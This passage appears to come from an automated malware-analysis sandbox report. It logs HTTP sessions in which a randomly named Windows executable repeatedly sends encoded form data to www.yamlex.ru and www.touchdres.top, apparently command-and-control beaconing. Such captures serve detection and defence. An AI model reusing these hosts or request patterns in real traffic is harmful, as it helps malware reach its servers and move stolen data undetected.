                                                        Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                        Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx</center></body></html>


                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                        26192.168.2.759295194.58.112.174806328C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exe
                                                        TimestampBytes transferredDirectionData
                                                        May 27, 2024 12:29:05.429858923 CEST672OUTPOST /ji0p/ HTTP/1.1
                                                        Host: www.yamlex.ru
                                                        Accept: */*
                                                        Accept-Language: en-US,en;q=0.9
                                                        Accept-Encoding: gzip, deflate, br
                                                        Cache-Control: no-cache
                                                        Content-Length: 241
                                                        Connection: close
                                                        Content-Type: application/x-www-form-urlencoded
                                                        Origin: http://www.yamlex.ru
                                                        Referer: http://www.yamlex.ru/ji0p/
                                                        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
                                                        Data Raw: 4d 4e 6f 64 4a 44 38 70 3d 38 56 72 64 42 6c 72 67 79 54 75 49 46 39 6c 6b 64 63 43 43 56 43 65 6c 4d 6e 35 38 6b 75 76 79 4d 79 63 41 65 73 53 36 2f 66 6f 4a 55 52 58 77 7a 6c 43 66 46 66 33 42 66 36 6f 53 68 72 72 39 54 2b 53 4b 63 35 53 79 58 4f 48 69 54 6b 52 7a 73 2f 77 64 43 4f 58 49 42 4e 46 65 74 51 52 39 77 66 4b 51 63 69 38 6e 35 4e 54 76 36 4d 66 67 31 4a 68 75 42 75 49 34 6b 4e 32 68 5a 39 4a 43 34 58 79 31 54 50 77 48 6f 2b 56 33 56 35 48 4b 2f 6d 63 61 71 73 36 34 76 61 6a 78 45 43 34 6d 35 6b 44 30 63 63 6d 4d 71 57 41 57 36 78 38 57 45 4d 38 4a 4a 52 52 37 72 38 4c 58 6b 75 53 6b 34 61 32 4c 46 4d 61 5a 37 79 71 57 42 49 77 51 48 42 42 4f 68 4a 4e 43 33 65 44 31 69 6b 59 47 6c 33 38 36 49 77 41 3d
                                                        Data Ascii: MNodJD8p=8VrdBlrgyTuIF9lkdcCCVCelMn58kuvyMycAesS6/foJURXwzlCfFf3Bf6oShrr9T+SKc5SyXOHiTkRzs/wdCOXIBNFetQR9wfKQci8n5NTv6Mfg1JhuBuI4kN2hZ9JC4Xy1TPwHo+V3V5HK/mcaqs64vajxEC4m5kD0ccmMqWAW6x8WEM8JJRR7r8LXkuSk4a2LFMaZ7yqWBIwQHBBOhJNC3eD1ikYGl386IwA=
                                                        May 27, 2024 12:29:06.148305893 CEST339INHTTP/1.1 302 Moved Temporarily
                                                        Server: nginx
                                                        Date: Mon, 27 May 2024 10:29:06 GMT
                                                        Content-Type: text/html
                                                        Content-Length: 154
                                                        Connection: close
                                                        Location: http://yamlex.ru/ji0p/
                                                        Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                        Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx</center></body></html>


                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                        27192.168.2.759296194.58.112.174806328C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exe
                                                        TimestampBytes transferredDirectionData
                                                        May 27, 2024 12:29:08.019505024 CEST1685OUTPOST /ji0p/ HTTP/1.1
                                                        Host: www.yamlex.ru
                                                        Accept: */*
                                                        Accept-Language: en-US,en;q=0.9
                                                        Accept-Encoding: gzip, deflate, br
                                                        Cache-Control: no-cache
                                                        Content-Length: 1253
                                                        Connection: close
                                                        Content-Type: application/x-www-form-urlencoded
                                                        Origin: http://www.yamlex.ru
                                                        Referer: http://www.yamlex.ru/ji0p/
                                                        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
                                                        Data Raw: 4d 4e 6f 64 4a 44 38 70 3d 38 56 72 64 42 6c 72 67 79 54 75 49 46 39 6c 6b 64 63 43 43 56 43 65 6c 4d 6e 35 38 6b 75 76 79 4d 79 63 41 65 73 53 36 2f 66 51 4a 55 6a 66 77 7a 47 36 66 43 66 33 42 63 36 6f 50 68 72 72 38 54 36 2b 4f 63 35 75 4d 58 4d 2f 69 53 47 5a 7a 6e 74 55 64 4c 4f 58 49 4e 74 46 6c 79 67 51 33 77 66 61 4d 63 69 73 6e 35 4e 54 76 36 50 48 67 68 74 39 75 44 75 49 35 6c 4e 32 74 49 4e 4a 71 34 54 65 44 54 50 31 36 70 4f 31 33 57 64 6a 4b 35 45 45 61 69 73 36 36 69 36 69 30 45 43 38 35 35 6c 72 77 63 59 76 5a 71 57 49 57 32 30 56 58 48 76 73 7a 64 67 35 62 69 75 69 78 79 4e 57 73 2b 72 47 43 48 4c 32 34 78 54 61 6b 5a 36 51 4b 54 56 45 72 67 49 4e 73 77 65 6a 37 71 6b 6c 53 34 54 41 59 61 30 2b 76 49 51 6b 67 63 4c 59 62 6a 76 69 67 67 4d 51 58 2f 31 37 47 44 4c 78 64 5a 32 65 78 2f 34 66 34 64 6f 39 35 35 65 44 58 65 76 6c 6b 42 64 45 63 61 41 2f 50 45 36 77 2b 31 48 55 6b 6d 4a 66 48 68 4b 39 64 2f 46 73 77 76 4b 6b 6a 52 64 59 30 6d 45 77 57 51 41 2f 77 70 2b 77 6e 42 31 37 2f 52 [TRUNCATED]
                                                        Data Ascii: MNodJD8p=8VrdBlrgyTuIF9lkdcCCVCelMn58kuvyMycAesS6/fQJUjfwzG6fCf3Bc6oPhrr8T6+Oc5uMXM/iSGZzntUdLOXINtFlygQ3wfaMcisn5NTv6PHght9uDuI5lN2tINJq4TeDTP16pO13WdjK5EEais66i6i0EC855lrwcYvZqWIW20VXHvszdg5biuixyNWs+rGCHL24xTakZ6QKTVErgINswej7qklS4TAYa0+vIQkgcLYbjviggMQX/17GDLxdZ2ex/4f4do955eDXevlkBdEcaA/PE6w+1HUkmJfHhK9d/FswvKkjRdY0mEwWQA/wp+wnB17/RiwT1vfF45VE+tlBWaQafJCmM3XPdp48/vhNjbF6gHBRYgh6+tPgbNbu+bYqGVuXzMnsZRwfS43bQKGHoltWjhcfM7AFxbdYJqErn5FMzZlDYrwVZ7yxtJRmGa64PaREScjv6qaqWFt16Q4SA5P/Rw2aKyzMIXIrZXsuy9IWdQNFlb7Pc7qBP+fZ0N+s7Z+Ov/QHUWJjZKsQ4O53/xkuv6Hlxzb5DFrjsdcTdDVQdBZGL435zdSDWOTJ52OxD7gwa7SDrWiPBOMFq6MuaQwQQ79DNkcrWVIULtIuidD1o/3dRTP9o2EsfwSa5WFSb+6I2fJ3paGs5i0YuG2gUTlHN52BWsSZqGsOOVbusYw2VOY1qScj5nyPgkYkC/jmcw0RuAUZyLP4k5IwmO3EJg20iavuFC19ckli9p9V2MGZTyZX5iqrhazeusbs1ISLyDEqh6c97tmMBjsKmag9MQR+/5GDhOUdCzWkxUF4NI4YajQiKNFNNAnSAEkWQBXsRRIrkzkiGa5t9C59s9Q03L7jP5yljkDlZfq5qfb2HWWFdh7agb0hDI4zmEBbfLNlEIRdVdBZTUyd3ouYhbp099/qlZKiMpAX6jIX6l1eXM0VXBecnyHSuFLPPMDslclrjmptcWsycctx6xzb1x59J4n7WEehDkBDm5O48Tz [TRUNCATED]
                                                        May 27, 2024 12:29:08.760539055 CEST339INHTTP/1.1 302 Moved Temporarily
                                                        Server: nginx
                                                        Date: Mon, 27 May 2024 10:29:08 GMT
                                                        Content-Type: text/html
                                                        Content-Length: 154
                                                        Connection: close
                                                        Location: http://yamlex.ru/ji0p/
                                                        Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                        Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx</center></body></html>


                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                        28192.168.2.759297194.58.112.174806328C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exe
                                                        TimestampBytes transferredDirectionData
                                                        May 27, 2024 12:29:10.556942940 CEST401OUTGET /ji0p/?MNodJD8p=xXD9CQ3N7xKDLchfMZiKEzPna0191/2yPXYla/3jou9aJjDG40/AHObgd4ksmL/dNcSWCZmrHM/RDWoQ1OVMTJmDIfJC0DRY8vTyfwkh08Xc3obI9sRDXMdHo4KaM9QY8Uf5asICqepP&f4=xxLl5tHp-byppxH HTTP/1.1
                                                        Host: www.yamlex.ru
                                                        Accept: */*
                                                        Accept-Language: en-US,en;q=0.9
                                                        Connection: close
                                                        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
                                                        May 27, 2024 12:29:11.245402098 CEST508INHTTP/1.1 302 Moved Temporarily
                                                        Server: nginx
                                                        Date: Mon, 27 May 2024 10:29:11 GMT
                                                        Content-Type: text/html
                                                        Content-Length: 154
                                                        Connection: close
                                                        Location: http://yamlex.ru/ji0p/?MNodJD8p=xXD9CQ3N7xKDLchfMZiKEzPna0191/2yPXYla/3jou9aJjDG40/AHObgd4ksmL/dNcSWCZmrHM/RDWoQ1OVMTJmDIfJC0DRY8vTyfwkh08Xc3obI9sRDXMdHo4KaM9QY8Uf5asICqepP&f4=xxLl5tHp-byppxH
                                                        Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                        Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx</center></body></html>


                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                        29192.168.2.759298198.177.123.106806328C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exe
                                                        TimestampBytes transferredDirectionData
                                                        May 27, 2024 12:29:16.677421093 CEST664OUTPOST /hjqs/ HTTP/1.1
                                                        Host: www.touchdres.top
                                                        Accept: */*
                                                        Accept-Language: en-US,en;q=0.9
                                                        Accept-Encoding: gzip, deflate, br
                                                        Cache-Control: no-cache
                                                        Content-Length: 221
                                                        Connection: close
                                                        Content-Type: application/x-www-form-urlencoded
                                                        Origin: http://www.touchdres.top
                                                        Referer: http://www.touchdres.top/hjqs/
                                                        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
                                                        Data Raw: 4d 4e 6f 64 4a 44 38 70 3d 30 6f 75 51 53 4c 6a 62 75 63 31 66 4f 4f 56 46 7a 50 34 4e 66 4a 45 65 35 63 76 49 32 2f 68 69 61 55 35 76 34 67 58 63 48 77 59 49 69 65 75 72 49 37 4b 62 58 4c 4a 42 56 75 59 66 45 76 50 7a 54 46 7a 35 45 4e 73 46 32 6d 4d 7a 2b 4f 38 35 4b 41 65 4b 67 4b 54 47 77 41 32 55 44 61 4d 54 6d 50 59 6b 75 63 70 71 54 63 49 77 31 46 75 4a 52 67 2b 62 56 51 59 33 6a 51 32 63 57 72 31 51 31 63 56 55 71 31 2f 59 74 31 6f 47 42 67 42 69 56 6f 58 58 55 45 2f 32 5a 48 56 36 6c 6a 74 50 46 6d 55 4a 45 42 71 62 61 4a 6d 4e 53 78 7a 50 32 51 61 59 45 64 64 2f 63 69 79 55 53 4c 4b 49 45 63 39 43 4c 4d 76 57 53 73 66 2f 66 65 4d 63 46 51 3d 3d
                                                        Data Ascii: MNodJD8p=0ouQSLjbuc1fOOVFzP4NfJEe5cvI2/hiaU5v4gXcHwYIieurI7KbXLJBVuYfEvPzTFz5ENsF2mMz+O85KAeKgKTGwA2UDaMTmPYkucpqTcIw1FuJRg+bVQY3jQ2cWr1Q1cVUq1/Yt1oGBgBiVoXXUE/2ZHV6ljtPFmUJEBqbaJmNSxzP2QaYEdd/ciyUSLKIEc9CLMvWSsf/feMcFQ==
                                                        May 27, 2024 12:29:17.255563021 CEST533INHTTP/1.1 404 Not Found
                                                        Date: Mon, 27 May 2024 10:29:17 GMT
                                                        Server: Apache
                                                        Content-Length: 389
                                                        Connection: close
                                                        Content-Type: text/html
                                                        Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED]
                                                        Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>


                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                        30192.168.2.759299198.177.123.106806328C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exe
                                                        TimestampBytes transferredDirectionData
                                                        May 27, 2024 12:29:19.455982924 CEST684OUTPOST /hjqs/ HTTP/1.1
                                                        Host: www.touchdres.top
                                                        Accept: */*
                                                        Accept-Language: en-US,en;q=0.9
                                                        Accept-Encoding: gzip, deflate, br
                                                        Cache-Control: no-cache
                                                        Content-Length: 241
                                                        Connection: close
                                                        Content-Type: application/x-www-form-urlencoded
                                                        Origin: http://www.touchdres.top
                                                        Referer: http://www.touchdres.top/hjqs/
                                                        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
                                                        Data Raw: 4d 4e 6f 64 4a 44 38 70 3d 30 6f 75 51 53 4c 6a 62 75 63 31 66 42 4f 46 46 79 6f 55 4e 59 70 45 64 6c 73 76 49 35 66 68 6d 61 55 31 76 34 6b 6e 71 48 43 38 49 69 2f 65 72 4a 36 4b 62 48 62 4a 42 53 65 59 57 5a 66 50 47 54 46 2f 50 45 50 34 46 32 6d 59 7a 2b 4c 41 35 4b 78 65 4a 67 61 54 45 36 51 32 61 4e 36 4d 54 6d 50 59 6b 75 59 35 4d 54 63 51 77 31 31 65 4a 52 46 43 45 62 77 59 30 71 77 32 63 42 37 31 55 31 63 56 6d 71 77 58 69 74 33 51 47 42 67 52 69 56 39 37 55 64 45 2f 38 64 48 55 39 6d 57 63 63 43 32 55 33 46 7a 6e 48 58 36 6d 52 65 6e 75 74 73 79 57 30 61 4d 6c 45 59 67 57 69 46 74 58 39 47 64 35 61 47 75 62 33 4e 62 36 56 53 4d 74 59 54 72 55 6d 4b 36 67 4a 51 4c 76 6e 62 5a 61 30 56 4f 71 42 58 75 38 3d
                                                        Data Ascii: MNodJD8p=0ouQSLjbuc1fBOFFyoUNYpEdlsvI5fhmaU1v4knqHC8Ii/erJ6KbHbJBSeYWZfPGTF/PEP4F2mYz+LA5KxeJgaTE6Q2aN6MTmPYkuY5MTcQw11eJRFCEbwY0qw2cB71U1cVmqwXit3QGBgRiV97UdE/8dHU9mWccC2U3FznHX6mRenutsyW0aMlEYgWiFtX9Gd5aGub3Nb6VSMtYTrUmK6gJQLvnbZa0VOqBXu8=
                                                        May 27, 2024 12:29:20.074387074 CEST533INHTTP/1.1 404 Not Found
                                                        Date: Mon, 27 May 2024 10:29:19 GMT
                                                        Server: Apache
                                                        Content-Length: 389
                                                        Connection: close
                                                        Content-Type: text/html
                                                        Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED]
                                                        Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>


                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                        31192.168.2.759300198.177.123.106806328C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exe
                                                        TimestampBytes transferredDirectionData
                                                        May 27, 2024 12:29:21.998321056 CEST1697OUTPOST /hjqs/ HTTP/1.1
                                                        Host: www.touchdres.top
                                                        Accept: */*
                                                        Accept-Language: en-US,en;q=0.9
                                                        Accept-Encoding: gzip, deflate, br
                                                        Cache-Control: no-cache
                                                        Content-Length: 1253
                                                        Connection: close
                                                        Content-Type: application/x-www-form-urlencoded
                                                        Origin: http://www.touchdres.top
                                                        Referer: http://www.touchdres.top/hjqs/
                                                        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
                                                        Data Raw: 4d 4e 6f 64 4a 44 38 70 3d 30 6f 75 51 53 4c 6a 62 75 63 31 66 42 4f 46 46 79 6f 55 4e 59 70 45 64 6c 73 76 49 35 66 68 6d 61 55 31 76 34 6b 6e 71 48 43 30 49 6c 4e 6d 72 49 5a 79 62 56 4c 4a 42 52 65 59 62 5a 66 50 62 54 46 6e 54 45 50 31 79 32 6b 67 7a 78 4f 4d 35 4d 46 71 4a 72 61 54 45 30 41 32 62 44 61 4d 47 6d 4f 6f 65 75 63 6c 4d 54 63 51 77 31 7a 79 4a 59 77 2b 45 57 51 59 33 6a 51 33 54 57 72 31 73 31 64 78 4d 71 77 61 66 74 48 77 47 50 6b 4e 69 5a 76 6a 55 53 45 2f 36 61 48 55 66 6d 57 5a 45 43 32 34 52 46 32 61 69 58 34 32 52 61 7a 48 75 34 51 43 66 50 36 6c 35 62 79 58 46 4c 73 6e 75 45 37 68 65 41 50 72 44 4d 49 2b 59 61 4f 42 7a 59 75 31 56 63 4d 5a 38 62 72 6a 53 53 38 66 77 49 38 72 45 55 49 79 6b 5a 2b 45 31 68 46 54 66 34 71 4c 34 51 54 48 4c 58 36 35 52 76 59 43 68 6c 56 44 33 67 4a 35 77 65 36 69 4a 74 2f 46 6f 54 54 67 77 78 45 6a 31 79 36 43 34 72 55 68 6e 61 39 53 32 59 5a 4b 69 4f 55 41 70 2f 6c 37 5a 43 5a 71 62 48 72 37 5a 59 79 52 30 6e 4d 57 6d 62 31 51 54 64 6a 36 4b 70 [TRUNCATED]
                                                        Data Ascii: MNodJD8p=0ouQSLjbuc1fBOFFyoUNYpEdlsvI5fhmaU1v4knqHC0IlNmrIZybVLJBReYbZfPbTFnTEP1y2kgzxOM5MFqJraTE0A2bDaMGmOoeuclMTcQw1zyJYw+EWQY3jQ3TWr1s1dxMqwaftHwGPkNiZvjUSE/6aHUfmWZEC24RF2aiX42RazHu4QCfP6l5byXFLsnuE7heAPrDMI+YaOBzYu1VcMZ8brjSS8fwI8rEUIykZ+E1hFTf4qL4QTHLX65RvYChlVD3gJ5we6iJt/FoTTgwxEj1y6C4rUhna9S2YZKiOUAp/l7ZCZqbHr7ZYyR0nMWmb1QTdj6Kp2qdmFCBAaQvFGBOZJIAyVQqWGDT4QUNIzVh1Z/MBjPt6TO59GRz4vmIR4/iRiwew7DnR+8o+ltJTKW4asJ9mrLKXww1rYoPr9cGDHWpIKJrESJBY2cs+qCuAuM4eRoQN2iANxUfFhSsiCIY5iXVK+0OQF6ArdQoRQ7f4kaFWMRnNY0HiHdFr2ns9Fk6jJmnKrf0CwehhUPt4Q52ICKg+RJjRNxnr2cmEVpUZ68mAqsf/o7XSSE3kF9NQo6fnVWJawzS9Cob3ffoXN6+pvFc9tGUSqaSwrXFH8PXYxJdmG2bl1bEzqYjWfJ1mt4/TFZDktFln9MOiqA84msYrRnG5XEQNsdzyI98y8GGxari6rZyJQC2vVB5VBC1dZ5EyWcOtWIYnjy6Yd5u8awrioGlIwLzdG6Q09DAJhQEGA5TST+7/er9O6L9I+nJOwHH0zqYVUBnLngqJ4ZHKDSZmW7wtxx8WLEBkf7FQltxeQYd1k+gGPyG19dkh2QARfW67Ygzjt5JTyxyOXsTI6s27M2rfSt1gfjjhf84smwCQ1Ig3bmS3Zrmd8/DGzGqmli5aWLyaisxEYMnAtRmp5/0CgT6UqZ3UDVkvOvelVUznjNlmlmCJpx5QNo6Co7J4arxCuPIfr+uNrbo+bjqzsIemdvGZwvzJEp1vHYh2fK [TRUNCATED]
                                                        May 27, 2024 12:29:22.592255116 CEST533INHTTP/1.1 404 Not Found
                                                        Date: Mon, 27 May 2024 10:29:22 GMT
                                                        Server: Apache
                                                        Content-Length: 389
                                                        Connection: close
                                                        Content-Type: text/html
                                                        Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED]
                                                        Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>


                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                        32192.168.2.759301198.177.123.106806328C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exe
                                                        TimestampBytes transferredDirectionData
                                                        May 27, 2024 12:29:24.525274992 CEST405OUTGET /hjqs/?f4=xxLl5tHp-byppxH&MNodJD8p=5qGwR/efmPt/I6Ynz6AqB74GuZv+m8IAYAQ4rwOKHDcf/eaPG6yHH9N9SqcPE5LhBkrMW/1fhU0AkMcaTSWt5r3v+QyKYKY8hdB1xYhSZ8o8wTivSleoUXQcrXTUVIgWubI9r3mYr34W HTTP/1.1
                                                        Host: www.touchdres.top
                                                        Accept: */*
                                                        Accept-Language: en-US,en;q=0.9
                                                        Connection: close
                                                        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
                                                        May 27, 2024 12:29:25.124799967 CEST548INHTTP/1.1 404 Not Found
                                                        Date: Mon, 27 May 2024 10:29:25 GMT
                                                        Server: Apache
                                                        Content-Length: 389
                                                        Connection: close
                                                        Content-Type: text/html; charset=utf-8
